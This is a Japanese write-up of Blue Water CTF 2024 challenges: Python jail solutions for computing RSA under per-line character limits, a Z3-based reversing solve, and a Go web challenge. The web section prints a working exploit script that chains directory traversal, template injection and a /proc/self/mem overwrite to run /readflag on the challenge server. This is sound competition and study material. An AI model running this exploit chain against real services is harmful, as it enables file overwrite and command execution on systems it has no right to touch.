Blue Water CTF 2024 write up
今週はBlue Water CTFに参加しまして、23/83位でした。(あまり順位が伸びて無いように見えてWelcomeが無いから0点が多かった)
どの問題も激ムズでした。しっかり復習していきます!
いつものようにWebだけだと物足りないので、解いた問題全部書きます
✅ [Misc] RSAjail-3 (165pts 63/83 クリア率76%)
RSAを解くコードを書きなさい、という問題。ただし、以下の条件がある。
- 一行3文字以下
- string.printable内の文字
-
\
は禁止
これを満たしながら次と同等のコードを書かなければならない。
q = N // p
phi = (p - 1) * (q - 1)
d = pow(0x10001, -1, phi)
m = pow(c, d, N)
X(m)
pythonは、カッコ内であれば改行を許すことが多いので、例えば、
x=(
3+5
)
のように代入できる。
あとは、がんばるだけ。
from pwn import *
REMOTE = False
io = remote("rsajail3.chal.perfect.blue",1337) if REMOTE else process("./chall.py")
if REMOTE:
print(io.recvuntil("===================\n"))
io.sendline(input())
io.recvuntil(b">>> ")
code = [
"W=(", # W = pow
"pow",
")",
"e=(", # e = 0x10001
"512",
")*8",
"e=(",
"e*8",
")*2",
"e=(",
"e+1",
")",
"q=(", # q = N // p
"N//",
"p)",
"h=(", # h = (p - 1) * (q - 1)
"(p",
"-1",
")*",
"(q",
"-1",
"))",
"d=(", # d = pow(e, -1, h)
"W(",
"e,",
"-1,",
"h))",
"m=(",# m = pow(c, d, N)
"W(",
"c,",
"d,",
"N))",
"X(",
"m)",
]
for c in code:
io.sendline(c.encode())
io.sendline()
io.interactive()
✅ [Misc] RSAjail-2 (255pts 20/83 クリア率24%)
RSAjail-3とほぼ同じだが、一行に2文字までしか使用できない
x=(
と始められない関係上、代入を工夫する必要がある。
(x
=
1)
のようなコードはエラーになってしまうが、
(x
:=
1)
のようにセイウチ演算子を使うと代入できる。(何故?)
また、pow
が3文字なので、d = pow(e, -1, phi)
とm = pow(c, d, N)
を計算するのが難しい。
d = pow(e, -1, phi)
に関しては、拡張ユークリッドの互助法を使用する必要がある。ただし、これもループやif文が使えないので、実装を工夫する必要がある。
大体次のようなコードを実装したい
j=h
d = 1
B = 0
C = 0
D = 1
while h != 0:
q = e // h
e, h = h, e % h
d, B = B, d - q * B
C, D = D, C - q * C
d = d % j
ループを排除して、十分に式を繰り返せばいいが、それだと0除算が発生してしまう。pythonでは、False==0
かつTrue==1
であることを利用すると、[X,Y][h==0]
は、h==0
のときはX
に、h==1
のときはY
になることを利用して、条件式のようなものを評価できる。
j=h
d = 1
B = 0
C = 0
D = 1
for _ in range(100):
i=h==0
q = e // [h,1][i]
tmp = h
h = e % [h,1][i]
e = tmp
tmp = B
B = d - q * B
d = [tmp,d][i]
tmp = D
D = C - q * C
C = tmp
また、このようにA, B = B, A+B
のようなコードが多発する場合、二回分のループをまとめると計算式が簡単になることが多いので、まとめてコードを短縮した結果が次である。(正直やらなくてもよかった)
j=h
e=e%h
C=-e//h
B=-(h//e)
h=h%e
d=1
D=1+B*C
for _ in range(100):
i=h==0
b=e//[h,1][i]
e=e%[h,1][i]
E=d-b*B
F=[B,d][i]
C=C-b*D
g=e==0
a=h//[e,1][g]
h=h%[e,1][g]
B=F-a*E
d=[E,F][g]
D=D-a*C
d = d % j
次に、m = pow(c, d, N)
だが、愚直にm = c ** d % N
とかやってしまうと計算が終わらなくなってしまう。そこで、pow(c, d) = c ** (d % 10) ** 10 * pow(c,d//10)
であることを利用する。この展開をさらにpow(c,d//10)
に行うことによって、べき数を下げていくことができる。
from pwn import *
from subprocess import Popen,PIPE
REMOTE = False
io = remote("rsajail2.chal.perfect.blue",1337) if REMOTE else process("./chall.py")
if REMOTE:
for _ in range(3):
io.recvline()
command = io.recvline().decode().strip()
pw = Popen(["bash", "-c", command], stdout=PIPE).stdout.read()
io.recvline()
io.sendline(pw.splitlines()[-1])
io.recvuntil(b">>> ")
code = [
"(e", # e = 0x10001
":=",
"64",
")",
"(e",
":=",
"e*",
"64",
")",
"(e",
":=",
"e*",
"16",
")",
"(e",
":=",
"e+",
"1)",
"(q", # q = N // p
":=",
"N",
"//",
"p)",
"(h", # h = (p - 1) * (q - 1)
":=",
"(p",
"-1",
")*",
"(q",
"-1",
"))",
"(j", # j=h
":=",
"h)",
"(e", # e=e%h
":=",
"e%",
"h)",
"(C", # C=-e//h
":=",
"-e",
"//",
"h)",
"(B", # B=-(h//e)
":=",
"-",
"(h",
"//",
"e)",
")",
"(h", # h=h%e
":=",
"h%",
"e)",
"(d", # d=1
":=",
"1)",
"(D", # D=1+B*C
":=",
"1+",
"B*",
"C)",
]
for i in range(8):
code += [
"(i", # i = h == 0
":=",
"h",
"==",
"0)",
"(b", # b=e//[h,1][i]
":=",
"e",
"//",
"[h",
",1",
"][",
"i]",
")",
"(e", # e=e%[h,1][i]
":=",
"e%",
"[h",
",1",
"][",
"i]",
")",
"(E", # E=d-b*B
":=",
"d-",
"b*",
"B)",
"(F", # F=[B,d][i]
":=",
"[B",
",d",
"][",
"i]",
")",
"(C", # C=C-b*D
":=",
"C-",
"b*",
"D)",
"(g", # g = e == 0
":=",
"e",
"==",
"0)",
"(a", # a=h//[e,1][g]
":=",
"h",
"//",
"[e",
",1",
"][",
"g]",
")",
"(h", # h=h%[e,1][g]
":=",
"h%",
"[e",
",1",
"][",
"g]",
")",
"(B", # B=F-a*E
":=",
"F-",
"a*",
"E)",
"(d", # d=[E,F][g]
":=",
"[E",
",F",
"][",
"g]",
")",
"(D", # D=D-a*C
":=",
"D-",
"a*",
"C)",
]
code +=[
"(d", # d = d % j
":=",
"d%",
"j)",
"(c", # c = c % N
":=",
"c%",
"N)",
"(m", # m = c**(d%10) % N
":=",
"c",
"**",
"(d",
"%",
"10",
")%",
"N)",
]
for i in range(690):
code += [
"(d", # d = d // 10
":=",
"d",
"//",
"10",
")",
"(A", # A = (A**10) % N
":=",
"(c" if i == 0 else "(A",
"**",
"10",
")%",
"N)",
"(m", # m = m * A**(d%10) % N
":=",
"m*",
"A",
"**",
"(d",
"%",
"10",
")%",
"N)",
]
code += [
"(A", # A = (A**10) % N
":=",
"(A",
"**",
"10",
")%",
"N)",
"(m", # m = (m * (A**(d//10))) % N
":=",
"(m",
"*(",
"A",
"**",
"(d",
"//",
"10",
"))",
")%",
"N)",
"X(",
"m)",
]
for c in code:
io.sendline(c.encode())
io.sendline()
res = io.recvline().decode()
print(res)
✅ [Rev] maybe Checker (175pts 53/83 クリア率64%)
実行ファイルが与えられる。文字列を入力すると、フラグかどうかチェックしてくれる。
$ ./maybe_checker
Enter the flag: foobar
Wrong flag
Ghidraでデコンパイルした結果が以下の通り。
byte FUN_00401180(void)
{
byte result;
int rand_num;
time_t tVar1;
char *__s;
char input [112];
tVar1 = time((time_t *)0x0);
srand((uint)tVar1);
printf("Enter the flag: ");
__isoc99_scanf(&DAT_00402015,input);
rand_num = rand();
result = (**(code **)(&DAT_00402041 + ((ulong)(long)rand_num % 0x3c) * 9))
(input + (byte)(&DAT_00402040)[((ulong)(long)rand_num % 0x3c) * 9]);
__s = "Wrong flag";
if (result != 0) {
__s = "MAYBE correct flag";
}
puts(__s);
return result ^ 1;
}
0~0x3cのランダムな値を計算し、&DAT_00402041 + (rand_num % 0x3c) *9
の位置のコードを実行している。また、&DAT_00402040 + (rand_num % 0x3c) *9
の位置にはinputに対するオフセットが記載されている。
それぞれの位置のコードを読むと、さまざまな条件が記載されている。これらの条件を全て満たすような入力を求めれば良い。
一つ一つ条件をコードに落とすのは面倒なので、バイナリを正規表現で解析して、それらをZ3に出力した。
import struct
import re
from z3 import *
base_offset = 0x400000
dat_offset = 0x402040 - base_offset
with open("./maybe_checker", "rb") as f:
f.seek(dat_offset)
addresses = []
for _ in range(60):
entry = f.read(1)
idx = int(entry[0])
entry = f.read(8)
addr = struct.unpack("<I", entry[:4])[0]
addresses.append((addr, idx))
ans = [BitVec(f'ans_{i}', 8) for i in range(0x30)]
solver = Solver()
# 0x00401210
for i in range(6):
solver.add(ans[i] == b"bwctf{"[i])
solver.add(ans[0x2f] == ord("}"))
# 0x00401240
for x in [3,9,0xf,0x15,0x1b,0x21]:
solver.add(ans[x+8] == ord("-"))
with open("./maybe_checker", "rb") as f:
for i, (addr, idx) in enumerate(addresses):
if i < 2:
continue
f.seek(addr - base_offset)
buf = [f.read(1)[0]]
while buf[-1] != 0xc3:
buf.append(f.read(1)[0])
b = bytes(buf)
if r := re.findall(b"\x8a\x07\x3a\x47(.)\x0f\x94\xc0", b,flags=re.MULTILINE|re.DOTALL):
solver.add(ans[idx] == ans[idx + r[0][0]])
elif r := re.findall(b"\x8a\x47(.)\x3a\x47(.)\x0f\x9c\xc0", b,flags=re.MULTILINE|re.DOTALL):
solver.add(ans[idx + r[0][0][0]] < ans[idx + r[0][1][0]])
elif r := re.findall(b"\x8a\x47(.)\x3a\x47(.)\x0f\x9f\xc0", b,flags=re.MULTILINE|re.DOTALL):
solver.add(ans[idx + r[0][0][0]] > ans[idx + r[0][1][0]])
elif r := re.findall(b"\x8a\x47(.)\x3a\x47(.)\x0f\x94\xc0", b,flags=re.MULTILINE|re.DOTALL):
solver.add(ans[idx + r[0][0][0]] == ans[idx + r[0][1][0]])
elif r := re.findall(b"\x8a\x47(.)\x32\x47(.)\x3c(.)\x0f\x94\xc0", b,flags=re.MULTILINE|re.DOTALL):
solver.add(ans[idx + r[0][0][0]] ^ ans[idx + r[0][1][0]] == r[0][2][0])
elif r := re.findall(b'\x0f\xbeG(.)\x0f\xbeO(.)\x01\xc1\x83\xf9(.)\x0f\x94\xc0', b,flags=re.MULTILINE|re.DOTALL):
solver.add(ans[idx + r[0][0][0]] + ans[idx + r[0][1][0]] == r[0][2][0])
elif r := re.findall(b'\x0f\xbeG(.)\x0f\xbeO(.)\x01\xc1\x81\xf9(.{4})\x0f\x94\xc0', b,flags=re.MULTILINE|re.DOTALL):
solver.add(ans[idx + r[0][0][0]] + ans[idx + r[0][1][0]] == struct.unpack("<I", r[0][2])[0])
elif r := re.findall(b'\x0f\xbeG(.)\x0f\xbeO(.)\x0f\xaf\xc8\x81\xf9(.{4})\x0f\x94\xc0', b,flags=re.MULTILINE|re.DOTALL):
solver.add(ans[idx + r[0][0][0]] * ans[idx + r[0][1][0]] == struct.unpack("<I", r[0][2])[0])
elif r := re.findall(b'\x0f\xbe\x07\x0f\xbeO(.)\x0f\xaf\xc8\x81\xf9(.{4})\x0f\x94\xc0', b,flags=re.MULTILINE|re.DOTALL):
solver.add(ans[idx] * ans[idx + r[0][0][0]] == struct.unpack("<I", r[0][1])[0])
else:
print(i, addr, b)
break
for i in range(0x30):
solver.add(ans[i] < 127)
solutions = []
while solver.check() == sat:
model = solver.model()
solution = [model.eval(ans[i], model_completion=True).as_long() for i in range(0x30)]
solutions.append(solution)
block = []
for i in range(0x30):
block.append(ans[i] != solution[i])
solver.add(Or(block))
print(bytes(solution))
if not solutions:
print("no ans")
実行結果
b'bwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH0\x003-Y0UH4-VEFUN}'
b'bwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH0\x103-Y0UH4-VEFUN}'
b'bwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH0P3-Y0UH4-VEFUN}'
b'bwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH0\xd03-Y0UH4-VEFUN}'
b'bwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH0\xf03-Y0UH4-VEFUN}'
b'bwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH0\xe03-Y0UH4-VEFUN}'
b'bwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH0@3-Y0UH4-VEFUN}'
b'bwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH0\xc03-Y0UH4-VEFUN}'
b'bwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH0\x803-Y0UH4-VEFUN}'
b'bwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH0 3-Y0UH4-VEFUN}'
b'bwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH003-Y0UH4-VEFUN}'
b'bwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH0\xb03-Y0UH4-VEFUN}'
b'bwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH0\x903-Y0UH4-VEFUN}'
b'bwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH0\xa03-Y0UH4-VEFUN}'
Leet的に自然なbwctf{WE1C0-M3T0B-1U3W4-T3RCT-FH0P3-Y0UH4-VEFUN}
が解だった。
✅ [Web] Sandevistan (212pts 32/83 クリア率39%)
ユーザーの登録と、ユーザーのcyberwareの登録、cyberwareの確認が行える。
/cyberware
のPOSTを行うと、cyberwareが登録できるが、このときに入力が不正だとエラー文がファイルに書き込みされるようになっている。ファイルはerrorlog/<ユーザー名>
になっている。
func checkForm(r *http.Request) *models.UserError {
/* snap */
ue = utils.AlphaNumCheck(ctx, cwName[0])
return ue
}
func (s *Server) cwHandlePost(w http.ResponseWriter, r *http.Request){
err := r.ParseForm()
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
ue := checkForm(r)
/* snap */
}
func AlphaNumCheck(ctx context.Context, t string) *models.UserError {
if !regexp.MustCompile(`^[a-zA-Z0-9]*$`).MatchString(t) {
v := fmt.Sprintf("ERROR! Invalid Value: %s\n", t)
username := ctx.Value("username")
regexErr := ErrorFactory(ctx, v, username.(string))
return regexErr
}
return nil
}
func ErrorFactory(ctx context.Context, v string, f string) *models.UserError {
filename := "errorlog/" + f
UErr := &models.UserError{
v,
f,
ctx,
}
file, _ := os.OpenFile(filename, os.O_RDWR|os.O_CREATE, 0644)
defer file.Close()
file.WriteString(v)
return UErr
}
このとき、ユーザー名に../
を含めることで、ディレクトリトラバーサルが可能である。さらに、ファイルが既に存在する場合、上書きするという形式である。
/cyberware
にGETリクエストを送ると、tmpl/user.html
というファイルが、template.ParseFiles
というメソッドでパースされる。このファイルを書き換えることによってSSTIが可能そうだ。
func (s *Server) handleUserGet(w http.ResponseWriter, r *http.Request) {
u, err := s.GetUser(r.FormValue("username"))
if err != nil {
http.Error(w, "Username not found", http.StatusNotFound)
return
}
if u.Name == "NOUSER" {
http.Redirect(w, r, "/", http.StatusFound)
}
utils.RenderTemplate(w, "/tmpl/user", u)
}
func RenderTemplate[S any](w http.ResponseWriter, tmpl string, s S) {
m := validPath.FindStringSubmatch(tmpl)
if m == nil {
fmt.Println("string match error")
renderError(w)
return
}
htmlTmpl := m[0] + ".html"
fpath := filepath.Join(GetCwd(), htmlTmpl)
t, err := template.ParseFiles(fpath)
if err != nil {
fmt.Println(err)
renderError(w)
return
}
t.Execute(w, s)
}
解説記事にある通り、RenderTemplateの第三引数のuserのメソッドであればテンプレート内で呼び出しができるようだ。
Userのメソッドには何があるだろうか。
func (u *User) SerializeErrors(data string, index int, offset int64) error {
fname := u.Errors[index]
if fname == nil {
return errors.New("Error not found")
}
f, err := os.OpenFile(fname.Filename, os.O_RDWR, 0)
if err != nil {
return errors.New("File not found")
}
defer f.Close()
_, ferr := f.WriteAt([]byte(data), offset)
if ferr != nil {
fmt.Println(ferr)
return errors.New("File error writing")
}
return nil
}
func (u *User) UserHealthcheck() ([]byte, error) {
cmd := exec.Command("/bin/true")
output, err := cmd.CombinedOutput()
if err != nil {
return nil, errors.New("error in healthcheck")
panic(err)
}
return output, nil
}
SerializeErrors
は、任意のファイルを、指定の位置から書き込むことができる関数である。UserHealthcheck
は/bin/true
を実行している。
SerializeErrors
を利用して、/proc/self/mem
の"/bin/true"
の文字列を"/readflag"
に書き換えることによってUserHealthcheck
が/readflag
を実行するようにしたい。
次のコードで、/bin/true
の位置を取得する。
import os
import re
maps = open("/proc/1/maps")
mem = open("/proc/1/mem", 'rb')
for l in maps.readlines():
try:
spl = l.split(" ")
start, end = [int(x, 16) for x in spl[0].split("-")]
v = os.pread(mem.fileno(), end-start, start)
mch = re.finditer(b"/bin/true", v)
arr = [m.start()+start for m in mch]
if len(arr) > 0:
print(arr)
except:
pass
メモリの位置が0x93b6bb
で固定であることがわかったので、次のコードでフラグがゲットできた。
import requests
# URL = "http://sandevistan.chal.perfect.blue:29005/"
URL = "http://localhost:1338/"
username = "user"
s = requests.session()
r = s.post(URL + "user", data={
"username": username
})
r = s.post(URL + "cyberware", data={
"username": "../tmpl/user.html",
"name": '{{ .NewError "foo" "/proc/1/mem" }} {{ .SerializeErrors "/readflag" 0 %d }} {{ .UserHealthcheck }}' % 0x93b6bb
})
r = s.get(URL + "user", params={
"username": username
})
print(r.text)
解けなかった問題
- Geo Weapon - geoserverというOSSの地理情報の共有や編集を行うサーバーで、任意ファイルの読み込みをしろ、という問題。出題ミスでadminのパスワードがランダム化されてなかったらしい。Geo Weapon Revengeという修正された問題が出題されたが、こちらは任意コード実行に変わっていたので、出題ミスが差分でわからないようになっていた。ひたすらjavaのコードを読んでいたが、結局コードを実行できそうな場所さえ見つからず...
- bluesocial - XSSの問題。どうにかしてDOMPurifyがエラーを吐くようにすれば良さそう。同じような問題にSECCON 2022 Finals - light-noteを思い出したが、これからDOMPurifyはDOM Clobbering対策されてるようでうまく行かず...
- bluenote - 多分XS-Leaksの問題。怪しいと思うところが一箇所も見当たらない...
- RSAjail-1 - RSAjail-2から、さらに一行あたりの最大文字数を1にした問題。変数宣言は多分無理なので、変数を展開するようにしていけばある程度できそうだが、
//
が使えないのがどうしよう、という感じだった。- 書いていて、
//
は掛け算と剰余で再現できたな...と気づいた。
- 書いていて、
Discussion